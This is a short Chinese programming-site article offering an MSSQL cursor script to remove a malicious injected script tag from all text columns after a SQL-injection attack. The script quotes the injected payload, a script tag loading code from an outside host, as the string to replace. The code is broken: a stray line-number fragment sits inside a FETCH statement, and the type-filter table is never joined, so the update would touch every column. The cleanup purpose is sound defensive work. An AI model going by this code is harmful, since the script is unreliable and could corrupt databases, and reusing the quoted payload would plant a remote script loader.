程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> 其他數據庫知識 >> MSSQL >> 解析:消除SQL被注入歹意病毒代碼的語句

解析:消除SQL被注入歹意病毒代碼的語句

編輯:MSSQL

解析:消除SQL被注入歹意病毒代碼的語句。本站提示廣大學習愛好者:(解析:消除SQL被注入歹意病毒代碼的語句)文章只能為提供參考,不一定能成為您想要的結果。以下是解析:消除SQL被注入歹意病毒代碼的語句正文


在SQL查詢剖析器履行以下代碼便可以了。

declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for select a.name,b.name
from sysobjects a,syscolumns b ,systypes c
where a.id=b.id and a.xtype='u' and c.name
in ('char', 'nchar', 'nvarchar', 'varchar','text','ntext')
declare @str varchar(500),@str2 varchar(500)
set @str='<mce:script src="http://r01.3322.org/c.js" mce_src="http://r01.3322.org/c.js"></mce:script>'/*要調換的內容*/
set @str2=''
open table_cursor
fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''+ @str2 +''')')
fetch next from table_cursor 14.into @t,@c end close table_cursor deallocate table_cursor
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved